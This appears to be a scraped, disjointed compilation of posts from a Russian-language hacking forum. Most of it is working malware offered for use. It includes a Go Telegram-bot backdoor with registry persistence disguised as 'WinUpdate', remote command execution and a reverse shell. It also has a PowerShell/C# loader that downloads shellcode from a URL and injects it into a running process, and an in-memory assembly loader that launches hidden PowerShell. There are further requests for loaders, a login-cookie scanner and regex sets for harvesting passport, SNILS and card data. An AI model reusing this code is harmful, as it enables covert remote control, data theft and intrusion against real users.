,1,29,18,49,14,3,32,0,24,6,7,2,29,18,49,24,3,0,0,1,8,1,0,8,0,0,0,0,0,30,1,0,1,0,84,2,22,87,114,97,112,78,111,110,69,120,99,101,112,116,105,111,110,84,104,114,111,119,115,1,0,0,0,48,45,0,0,0,0,0,0,0,0,0,0,78,45,0,0,0,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,45,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,95,67,111,114,68,108,108,77,97,105,110,0,109,115,99,111,114,101,101,46,100,108,108,0,0,0,0,0,255,37,0,32,0,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,16,0,0,0,24,0,0,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,48,0,0,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,72,0,0,0,88,64,0,0,60,2,0,0,0,0,0,0,0,0,0,0,60,2,52,0,0,0,86,0,83,0,95,0,86,0,69,0,82,0,83,0,73,0,79,0,78,0,95,0,73,0,78,0,70,0,79,0,0,0,0,0,189,4,239,254,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,63,0,0,0,0,0,0,0,4,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,68,0,0,0,1,0,86,0,97,0,114,0,70,0,105,0,108,0,101,0,73,0,110,0,102,0,111,0,0,0,0,0,36,0,4,0,0,0,84,0,114,0,97,0,110,0,115,0,108,0,97,0,116,0,105,0,111,0,110,0,0,0,0,0,0,0,176,4,156,1,0,0,1,0,83,0,116,0,114,0,105,0,110,0,103,0,70,0,105,0,108,0,101,0,73,0,110,0,102,0,111,0,0,0,120,1,0,0,1,0,48,0,48,0,48,0,48,0,48,0,52,0,98,0,48,0,0,0,44,0,2,0,1,0,70,0,105,0,108,0,101,0,68,0,101,0,115,0,99,0,114,0,105,0,112,0,116,0,105,0,111,0,110,0,0,0,0,0,32,0,0,0,48,0,8,0,1,0,70,0,105,0,108,0,101,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,52,0,10,0,1,0,73,0,110,0,116,0,101,0,114,0,110,0,97,0,108,0,78,0,97,0,109,0,101,0,0,0,109,0,117,0,102,0,102,0,121,0,46,0,100,0,108,0,108,0,0,0,40,0,2,0,1,0,76,0,101,0,103,0,97,0,108,0,67,0,111,0,112,0,121,0,114,0,105,0,103,0,104,0,116,0,0,0,32,0,0,0,60,0,10,0,1,0,79,0,114,0,105,0,103,0,105,0,110,0,97,0,108,0,70,0,105,0,108,0,101,0,110,0,97,0,109,0,101,0,0,0,109,0,117,0,102,0,102,0,121,0,46,0,100,0,108,0,108,0,0,0,52,0,8,0,1,0,80,0,114,0,111,0,100,0,117,0,99,0,116,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,56,0,8,0,1,0,65,0,115,0,115,0,101,0,109,0,98,0,108,0,121,0,32,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,0,0,12,0,0,0,96,61,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)
$assembly = [System.Reflection.Assembly]::Load($DecryptedBytes)
[Bypass]::Execute("C:\Windows\System32\windowspowershell\v1.0\powershell.exe -windowstyle h -command iex(start cmd)")
Вот решил найти, поправить и потестить простой лоадер на AutoIT но не смог найти нигде примера, подкиньте пример или ссылку поковырять, а то сам не смог найти, какая помойка в поиске. И еще один вопрос для знатоков кто пробовал - стоит ли использовать лоадер на аутоите, или длл/ехе наше все?
Учу GoLang
Накиньте простеньких задач, чтобы я пытался их реализовать.
Спасибо.
Нашел интересную книгу про программирование на квантовых компьютерах
В целом прикольно хоть и много математики
Но думаю найдется умелец который напишет универсальный брутфорсер который
изменит мир
Силва_В_Разработка_с_использованием_квантовых_компьютеров_Библиотека.pdf - AnonFiles ](https://anonfiles.com/J086ybM0y6/_pdf)
anonfiles.com
Does anybody know them? they say they are active in this forum.
A Guy named EXO
Небольшая заметка в догонку: https://xss.is/threads/76417/#post-528584
Я, как знатный красноглазик, предпочитаю разрабатывать на Линуксах. Для Цэ и Плюсов все довольно просто: ставишь mingw нужной версии из официальных репозиториев своего любимого дистрибутива и херачишь код в свое удовольствие. Но что делать, скажем с Дэ. Я решил посмотреть. Для начала нам нужно поставить ldc2 и lld (LLVM'ый линкер) из официальных репозиториев, или с гитхаба. Не знаю, так ли необходимо, чтобы версия LLVM библиотек в LDC и LLD совпадала, но я на Арче, поэтому у меня они совпали (ай юз арч бтв). Затем, нам нужно скачать соответвующей версии сборку LDC под Венду с гитхаба (берем мультилиб): https://github.com/ldc-developers/ldc/releases - она нужно для всяческих либ файлов. Копируем директории lib32 и lib64 туда, куда ранее поставили LDC, ну или вообще в произвольную папку, но потом нам надо будет ее подпихнуть линкеру, чтобы последний нашел необходимые либы. Немножко корректируем аргументы командной строки и вуаяля, все работает:
C-like:Copy to clipboard
import core.sys.windows.winuser;
import core.sys.windows.winbase;
extern (C) void EntryPoint() {
MessageBoxA(null, "Hello World", null, MB_OK);
ExitProcess(0);
}
Bash:Copy to clipboard
ldc2 -of=./test32.exe -mtriple=i686-windows-msvc -betterC -O3 --boundscheck=off --flto=full -L=/nodefaultlib -L=/entry:EntryPoint -L=/subsystem:console -L=/libpath:./lib32 -L=kernel32.lib -L=user32.lib ./test.d
ldc2 -of=./test64.exe -mtriple=x86_64-windows-msvc -betterC -O3 --boundscheck=off --flto=full -L=/nodefaultlib -L=/entry:EntryPoint -L=/subsystem:console -L=/libpath:./lib64 -L=kernel32.lib -L=user32.lib ./test.d
rm ./test32.obj
rm ./test64.obj
wine ./test32.exe
wine ./test64.exe
По сути у нас '-m32' и '-m64' поменялись на соответствующий параметр '-mtriple', ну и мы подпихнули линкеру пути, где искать библиотеки (-L=/libpath:<путь>). Для полноценной разработки на Дэ (не без рантайма и не -betterC) все должно выглядеть примерно также, да и упаковать все эти параметры в dub (система сборки проектов и управления зависимостями в Дэ) тоже должно быть довольно просто. Эту заметку в основном оставляю для себя, но может кому еще пригодиться.
На просторах интернета есть слитый автовывод на любую сеть, написанный на
Golang?
недавно заинтересовала тема web3 и хотелось бы узнать, что можно написать для
практики и покапаться в каком-то коде.
This is the first version of the beta please feel free to contribute or request features
Code:Copy to clipboard
package main
import (
"bufio"
"context"
"fmt"
"io/ioutil"
"log"
"net/http"
"net/http/cookiejar"
"os"
"regexp"
"strings"
"time"
"github.com/PuerkitoBio/goquery"
"github.com/chromedp/chromedp"
)
func main() {
fmt.Println(`
_____ _____ _____
____|\ \ / /|___ ___|\ \
| | \ \ / /| | / /\ \
| |______/|\____\| | | | | |
| |----'\ | | |/ |___ | |__| |
| |_____/ \|___/ / || .--. |
| | / /| || | | |
|____| XSS.is |_____|/____/||____| |____|
| | | | | || | | |
|____| |_____|____|/ |____| |____|
)/ \(2024)/ \( )/
' ' ' ' '
`)
fmt.Print("SITELIST FILEPATH: ")
reader := bufio.NewReader(os.Stdin)
filepath, _ := reader.ReadString('\n')
filepath = strings.TrimSpace(filepath)
urls, err := readURLsFromFile(filepath)
if err != nil {
fmt.Println("Error reading file:", err)
return
}
for _, url := range urls {
analyzeSite(url)
}
}
func readURLsFromFile(filepath string) ([]string, error) {
file, err := os.Open(filepath)
if err != nil {
return nil, err
}
defer file.Close()
var urls []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
url := strings.TrimSpace(scanner.Text())
if url != "" && strings.HasPrefix(url, "http") {
urls = append(urls, url)
}
}
return urls, scanner.Err()
}
func analyzeSite(url string) {
fmt.Println("\nAnalyzing:", url)
html, err := fetchHTML(url)
if err != nil {
fmt.Println("Error fetching HTML:", err)
return
}
formElements, rememberMeElementsHTML, loginButtons, jsRememberMeElements := inspectElements(url, html)
printElements("Likely Login Form Elements:", formElements)
printElements("Potential 'Remember Me' Indicators (From HTML):", rememberMeElementsHTML)
printElements("Likely Login Buttons:", loginButtons)
cookies := analyzeCookies(url)
printCookies(cookies)
printElements("Potential 'Remember Me' Indicators (From JavaScript/DOM - After Interactions):", jsRememberMeElements)
}
func fetchHTML(url string) ([]byte, error) {
resp, err := http.Get(url)
if err != nil {
return nil, err
}
defer resp.Body.Close()
return ioutil.ReadAll(resp.Body)
}
func inspectElements(url string, html []byte) ([]string, []string, []string, []string) {
doc, err := goquery.NewDocumentFromReader(strings.NewReader(string(html)))
if err != nil {
return nil, nil, nil, nil
}
var formElements, rememberMeElementsHTML, loginButtons, jsRememberMeElements []string
patterns := []*regexp.Regexp{
regexp.MustCompile(`(?i)trust this (?:computer|device)`),
regexp.MustCompile(`(?i)remember (?:this (?:computer|device)|me)`),
regexp.MustCompile(`(?i)(?:keep me (?:logged in|signed in)|stay signed in)`),
regexp.MustCompile(`(?i)log in automatically`),
regexp.MustCompile(`(?i)save (?:password|credentials|login)`),
}
doc.Find("form").Each(func(i int, s *goquery.Selection) {
formElements = append(formElements, s.Text())
})
doc.Find("input[type='checkbox'], input[type='radio']").Each(func(i int, s *goquery.Selection) {
label := s.Parent().Find("label").Text()
for _, pattern := range patterns {
if pattern.MatchString(strings.ToLower(label)) {
rememberMeElementsHTML = append(rememberMeElementsHTML, label)
break
}
}
})
doc.Find("button").Each(func(i int, s *goquery.Selection) {
text := s.Text()
if strings.Contains(strings.ToLower(text), "login") || strings.Contains(strings.ToLower(text), "sign in") {
loginButtons = append(loginButtons, text)
}
})
jsRememberMeElements = analyzeJavaScript(url, patterns)
return formElements, rememberMeElementsHTML, loginButtons, jsRememberMeElements
}
func analyzeCookies(url string) []*http.Cookie {
jar, err := cookiejar.New(nil)
if err != nil {
log.Fatal(err)
}
client := &http.Client{Jar: jar}
resp, err := client.Get(url)
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
var cookies []*http.Cookie
for _, cookie := range jar.Cookies(resp.Request.URL) {
cookies = append(cookies, cookie)
}
return cookies
}
func analyzeJavaScript(url string, patterns []*regexp.Regexp) []string {
ctx, cancel := chromedp. NewContext(context. Background())
defer cancel()
ctx, cancel = context. WithTimeout(ctx, 30*time. Second)
defer cancel()
var jsElements string
err := chromedp. Run(ctx,
chromedp. Navigate(url),
chromedp. WaitVisible(`body`, chromedp. ByQuery),
chromedp. Click(`input[type="checkbox"], input[type="radio"]`, chromedp. ByQuery),
chromedp. Click(`button[type="submit"]`, chromedp. ByQuery),
chromedp. OuterHTML("html", &jsElements),
)
if err != nil {
fmt. Println("Error analyzing JavaScript:", err)
return nil
}
domElements := strings. Split(jsElements, "\n")
var rememberMeElements []string
for _, element := range domElements {
for _, pattern := range patterns {
if pattern. MatchString(strings. ToLower(element)) {
rememberMeElements = append(rememberMeElements, element)
break
}
}
}
return rememberMeElements
}
func printElements(label string, elements []string) {
if len(elements) > 0 {
fmt. Println("\n", label)
for _, element := range elements {
fmt. Println(element)
}
}
}
func printCookies(cookies []*http. Cookie) {
if len(cookies) > 0 {
fmt. Println("\nCookies:")
for _, cookie := range cookies {
fmt. Printf("%s: %s\n", cookie. Name, cookie. Value)
}
} else {
fmt. Println("\nNo cookies found.")
}
}
Приветствую! Начинаю более боевое изучение ASM, пробую написать запросы для
получения информации о системе через WinAPI, не могу разобраться с передачей
параметров в функцию через стек. Например, передать два параметра в
GetComputerNameA не составляет никаких проблем invoke GetComputerNameA, eax, ebx
, но для передачи/получения данных используя GetVolumeInformationA не
достаточно свободных регистров, потому приходится загонять в стек:
Code:Copy to clipboard
lea eax, [VolumeName]
lea ebx, [VolumeSerialNumber]
lea ecx, [FileSystemFlags]
lea edx, [FileSystemName]
push edx
push ecx
push ebx
push eax
push 260
lea eax, [VolumePathName]
lodstra 'C:\'
push eax
call GetVolumeInformationA
test eax, eax
после пробую сверить с заранее записанной в коде строкой (данный код отрабатывает с GetComputerNameA):
Code:Copy to clipboard
lea ebx, [String]
lodstra '00000-00000.....' ; bad serial number
lea eax, [VolumeSerialNumber]
cinvoke strcmp, eax, ebx
test eax, eax
jz stop_app
но всё безрезультатно, данный код не отрабатывает как надо, не могу понять как правильно провести работу с регистрами. Прошу помощи на форуме.
Hidden content for authorized users.
Создаём .bat файл, записываем в него следующий код:
Code:Copy to clipboard
@echo off
chcp 1251
Title Running all random files by r3xq1
cls
setlocal EnableDelayedExpansion
:: Проходимся циклом по папке
set i=0
for %%f in ("E:\Project\bin\Release\*.*") do (
set file!i!=%%f
set /a i+=1
)
set /a n=%random% %% %i%
set file=!file%n%!
start "" "%file%" :: Запускаем файл
Сохраняем!
Закиньте файл в любое другое место, кроме того, где нужно запускать рандомные
файлы, иначе будет открывать много консольных окошек.
Привет форумчане. У кого нибудь есть пример полиморфной компиляции?
hello this is my update for my telegram backdoor source code, enjoy this!!
new feature tcpshell, get interactive reverse shell for netcat work on linux
and windows
command usage:
/tcpshell netcat_ip:netcat_port
Code:Copy to clipboard
package main
/*
comment line with syscall.SysProcAttr and imported "syscall" package for compile
on linux or other systems
*/
import (
"os"
"log"
"net"
"time"
"sync"
"runtime"
"strconv"
"os/exec"
"syscall"
"strings"
tele "gopkg.in/telebot.v3"
)
var (
thread = sync.WaitGroup{}
TOKEN = "YOUR_TELEGRAM_BOT_API_TOKEN"
)
func SetPersistence() {
defer thread.Done()
mype,_ := os.Executable()
per := exec.Command("cmd.exe", "/c", "reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \" /v WinUpdate /t REG_SZ /d \"" + mype + "\" /f")
per.CombinedOutput()
}
func ExecCmd(Cmd string, botSender tele.Context) string {
defer thread.Done()
cmd := exec.Command("cmd.exe", "/c", Cmd)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
output, err := cmd.CombinedOutput()
if err != nil {
botSender.Send(err.Error())
return ""
}
botSender.Send(string(output))
return ""
}
func GetHelp() string {
help := "/help show this\n"
help += "/exec execute any command\n"
help += "/cd change working dir\n"
help += "/pwd get current worling dir\n"
help += "/info get basic info\n"
help += "/pid get this process pid\n"
help += "/start start bot message\n"
help += "/tcpshell start revere netcat shell to address example (127.0.0.1:9090)\n"
return help
}
func DeleteSpaces(Data string) string {
return strings.ReplaceAll(Data, " ", "")
}
func Pwd() string {
pwd,_ := os.Getwd()
return pwd
}
func GetPid() string {
return "process pid: " + strconv.Itoa(os.Getpid())
}
func ChangeDir(Target string) string {
if err := os.Chdir(Target); err != nil {
if os.Chdir(strings.ReplaceAll(Target, " ", "")) != nil {
return "error to change dir to " + Target
} else {
return Pwd()
}
return "error to change dir to " + Target
}
return Pwd()
}
func GetInfo() string {
pwdc,_ := os.Getwd()
execf,_ := os.Executable()
core := strconv.Itoa(runtime.NumCPU())
plat := runtime.GOOS + "/" + runtime.GOARCH
info := "\nbasic info\n"
info += "\npwd : " + pwdc
info += "\npefile : " + execf
info += "\ncores : " + core
info += "\nplatform : " + plat
return info
}
func GetShellName() string {
if runtime.GOOS == "windows" {
return "cmd.exe"
}
return "/bin/sh"
}
func ReverseShell(Addr string) {
shell := GetShellName()
cmd := exec.Command(shell)
defer thread.Done()
con,err := net.Dial("tcp", DeleteSpaces(Addr))
if err != nil {
return
}
/*
redirect shell output, error, input to tcp socket connection
*/
cmd.Stderr = con
cmd.Stdout = con
cmd.Stdin = con
cmd.Run()
}
func Setup() {
conf := tele.Settings{Token: TOKEN,Poller: &tele.LongPoller{Timeout: 10 * time.Second},}
bot, botErr := tele.NewBot(conf)
if botErr != nil {
log.Println(botErr.Error())
return
}
bot.Handle("/start", func(sender tele.Context) error {
return sender.Send("enjoy this access.. !")
})
bot.Handle("/exec", func(sender tele.Context) error {
thread.Add(1)
go ExecCmd(sender.Message().Payload, sender)
return nil
})
bot.Handle("/pwd", func(sender tele.Context) error {
return sender.Send(Pwd())
})
bot.Handle("/info", func(sender tele.Context) error {
return sender.Send(GetInfo())
})
bot.Handle("/cd", func(sender tele.Context) error {
return sender.Send(ChangeDir(sender.Message().Payload))
})
bot.Handle("/pid", func(sender tele.Context) error {
return sender.Send(GetPid())
})
bot.Handle("/tcpshell", func(sender tele.Context) error {
thread.Add(1)
go ReverseShell(sender.Message().Payload)
return sender.Send("starting reverse shell on " + sender.Message().Payload)
})
bot.Handle("/help", func(sender tele.Context) error {
return sender.Send(GetHelp())
})
bot.Start()
}
func Loop() {
defer thread.Done()
thread.Add(1)
go SetPersistence()
for {
Setup()
time.Sleep(time.Second * 2)
}
}
func main() {
thread.Add(1)
go Loop()
thread.Wait()
}
Россия
79281008080
7 9281008080
7 928 1008080
7 928 100 80 80
7-9281008080
7-928-1008080
7-928-100-80-80
7(928)1008080
7(928) 1008080
7(928) 100 80 80
7(928)100-8080
7(928)100-80-80
8 9281008080
8 928 1008080
8 928 100 80 80
8-9281008080
8-928-1008080
8-928-100-80-80
8(928)1008080
8(928) 1008080
8(928) 100 80 80
8(928)100-8080
8(928)100-80-80
(?:7|8)?[\s\-]?\(?(\d{3})\)?[\s\-]?(\d{3})[\s\-]?(\d{2})[\s\-]?(\d{2})
хо 380671234567
380 67 1234567
380 67 123 45 67
380-67-1234567
380-67-123-45-67
380(67)1234567
380(67) 1234567
380(67) 123 45 67
380(67)123-4567
380(67)123-45-67
0 67 1234567
0 67 123 45 67
0-67-1234567
0-67-123-45-67
0(67)1234567
0(67) 1234567
0(67) 123 45 67
0(67)123-4567
0(67)123-45-67
(?:380|0)?[\s\-]?\(?(\d{2})\)?[\s\-]?(\d{3})[\s\-]?(\d{2})[\s\-]?(\d{2})
Беларусы
375291234567
375 29 1234567
375 29 123 45 67
375-29-1234567
375-29-123-45-67
375(29)1234567
375(29) 1234567
375(29) 123 45 67
375(29)123-4567
375(29)123-45-67
80 29 1234567
80 29 123 45 67
80-29-1234567
80-29-123-45-67
80(29)1234567
80(29) 1234567
80(29) 123 45 67
80(29)123-4567
80(29)123-45-67
(?:375|80)?[\s\-]?\(?(\d{2})\)?[\s\-]?(\d{3})[\s\-]?(\d{2})[\s\-]?(\d{2})
ФИО
Иванов Иван Иванович — стандартный формат ФИО.
Иванов Иван — без отчества.
Иванов И. И. — сокращение имени и отчества до инициалов.
Иванов И.И. — сокращение без пробелов.
Иванов И. — только фамилия и инициалы имени.
Иванов И Иванович — имя сокращено до инициалов.
И. Иван Иванович — фамилия сокращена до инициалов.
И.Иванов Иван Иванович — фамилия сокращена, но без пробела.
^([А-ЯЁ][а-яё]+)\s*([А-ЯЁ])?\.?\s*([А-ЯЁ][а-яё]+)?\s*([А-ЯЁ])?\.?\s*([А-ЯЁ][а-яё]+)?$
Адрес
\d{6},\s*(Россия|РФ|Беларусь|Бел|Украина|Укр)\s*,\s*[^,]+,\s*(г\.|г\.?\sг\.|г\.?\s\w+|д\.|с\.|п\.|с\.г\.|п\.г\.)\s*[^,]+,\s*(б\-р\.|бульвар|ул\.|улица|пр\-т\.|проспект)\s*[^,]+,\s*(Д\.?\s*\d+|дом\s*\d+),\s*(КВ\.?\s*\d+|квартира\s*\d+)?$
паспорт
\d{4}[-\s]?\d{6}
[A-Z]{2}\d{4}[-\s]?\d{6}
[A-Z]{2}\d{6}[-\s]?\d{6}
(?:\d{4}[-\s]?\d{6})|(?:[A-Z]{2}\d{4}[-\s]?\d{6})
снилс
(?:\d{3}[-\s]?\d{3}[-\s]?\d{3}[-\s]?\d{2}|\d{11})
EMAIL
^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$
дата рождения
DD/MM/YYYY — 31/12/2024
MM/DD/YYYY — 12/31/2024
YYYY-MM-DD — 2024-12-31
DD-MM-YYYY — 31-12-2024
MM-DD-YYYY — 12-31-2024
YYYY.MM.DD — 2024.12.31
DD.MM.YYYY — 31.12.2024
YYYY/MM/DD — 2024/12/31
\b(??:0[1-9]|[12][0-9]|3[01])-/.\s-/.\s\d{2}|(?:19|20)\d{2}-/.\s-/.\s)\b
водительское
(?:[A-Z]{1,2}\d{1,4}[-\s]?[A-Z]{1,2}\d{1,4})|(?:[A-Z]{2}\d{6,7}[-\s]?\d{0,2})
для номера авто
Стандартный формат: A123BC123 — A — код региона, 123 — цифры, BC — буквы, 123
— цифры.
С буквами и цифрами: A123BC77, AB12CD34.
С пробелами: A 123 BC 77, AB 12 CD 34.
Стандартный формат: AB1234CD — AB — буквы, 1234 — цифры, CD — буквы.
С пробелами и дефисами: AB 1234 CD, AB-1234-CD
Стандартный формат: 1234AB-5 — 1234 — цифры, AB — буквы, 5 — цифра.
С пробелами и дефисами: 1234 AB-5, 1234AB 5.
(?:[A-Z]{1,2}\d{1,4}[A-Z]{1,3}\d{1,3})|(?:\d{4}[A-Z]{2}-\d{1}|\d{4}[A-Z]{2}\s\d{1})|(?:[A-Z]{2}\d{4}[A-Z]{2}|\d{2}-[A-Z]{2}-\d{4}|\d{2}
[A-Z]{2} \d{4})
VIN
Длина: 17 символов
Символы: Буквы (A-Z, без I, O, Q) и цифры (0-9)
Символы I, O, Q не используются для избегания путаницы с цифрами.
\b[A-HJ-NPR-Z0-9]{17}\b
номер карты
Стандартный формат: 16 цифр
Формат с пробелами и дефисами: 1234 5678 9012 3456, 1234-5678-9012-3456
(?:\d{4}[-\s]?)\d{4}[-\s]?\d{4}[-\s]?\d{4}
Всем привет! Реализовал динамический импорт, гоняю юнит-тесты. Ловлю
бесконечную рекурсию (ну и STATUS_STACK_OVERFLOW
соотв) при попытке
резолвинга форварда kernel32.GetThreadDescription
-> api-ms-win-core- processthreads-l1-1-3.GetThreadDescription
.
Выяснил что при загрузке модуля api-ms-win-core-processthreads-l1-1-3.dll
возвращается адрес kernel32.dll
.
Минимально воспроизводимый код:
C:Copy to clipboard
#[test]
fn test() {
let k32 = LoadLibraryW(w!("kernel32.dll")).unwrap();
let api_ms = LoadLibraryW(w!("api-ms-win-core-processthreads-l1-1-3.dll")).unwrap();
// panic if address kernel32.dll == api-ms-win-core-processthreads-l1-1-3.dll
assert_ne!(k32, api_ms);
}
Как правильно обрабатывать форварды на модули api-ms-*.*.*.dll
? Стандарный
GetProcAddress
обрабатывает их нормально.
Считывает шестнадцатеричный шелл-код с веб-страницы и выполняет его.
Для корректного разбора и выполнения скриптом шеллкод должен иметь такой
формат: "E8 C0 A7 00 00 C0 A7 00 00 1C 61 48 9D 44 18 90 EB 6B D4 8D B1 34 EF
B9 74 B3 92 58 8E BA 78 ED 40 3B"
Code:Copy to clipboard
$csharpCode = @"
using System;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Diagnostics;
using System.Linq;
namespace Inject
{
public class Program
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, uint processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
const uint PROCESS_ALL_ACCESS = 0x001F0FFF;
const uint MEM_COMMIT = 0x00001000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
string processName = "runtimebroker"; //replace with desired running process
string shellcodeUrl = "www.example.com/myshellcode.txt"; //replace with your url
uint pid = GetProcessId(processName);
if (pid == 0)
{
Console.WriteLine("Failed to find the process.");
return;
}
byte[] shellcode = DownloadShellcode(shellcodeUrl);
if (shellcode.Length == 0)
{
Console.WriteLine("Failed to download or parse shellcode.");
return;
}
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (hProcess == IntPtr.Zero)
{
Console.WriteLine("Failed to open the target process.");
return;
}
IntPtr pShellcode = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pShellcode == IntPtr.Zero)
{
Console.WriteLine("Failed to allocate memory in the target process.");
return;
}
int lpNumberOfBytesWritten; // Declare the variable
if (!WriteProcessMemory(hProcess, pShellcode, shellcode, (uint)shellcode.Length, out lpNumberOfBytesWritten))
{
Console.WriteLine("Failed to write to the target process memory.");
return;
}
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, pShellcode, IntPtr.Zero, 0, IntPtr.Zero);
if (hThread == IntPtr.Zero)
{
int errorCode = Marshal.GetLastWin32Error();
Console.WriteLine("Failed to create a remote thread in the target process. Error Code: " + errorCode);
return;
}
Console.WriteLine("Shellcode injected successfully.");
}
static uint GetProcessId(string processName)
{
string nameWithoutExtension = System.IO.Path.GetFileNameWithoutExtension(processName);
Process[] processes = Process.GetProcessesByName(nameWithoutExtension);
return processes.Length > 0 ? (uint)processes[0].Id : 0;
}
static byte[] DownloadShellcode(string url)
{
string shellcodeString = new WebClient().DownloadString(url);
return ParseShellcode(shellcodeString);
}
static byte[] ParseShellcode(string shellcodeString)
{
return shellcodeString.Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries)
.Select(s => Convert.ToByte(s, 16))
.ToArray();
}
}
}
"@
$assemblyReferences = @(
'System.Net.Http',
'System.Runtime.InteropServices'
)
$addedType = Add-Type -TypeDefinition $csharpCode -Language CSharp -ReferencedAssemblies $assemblyReferences -PassThru
$addedType
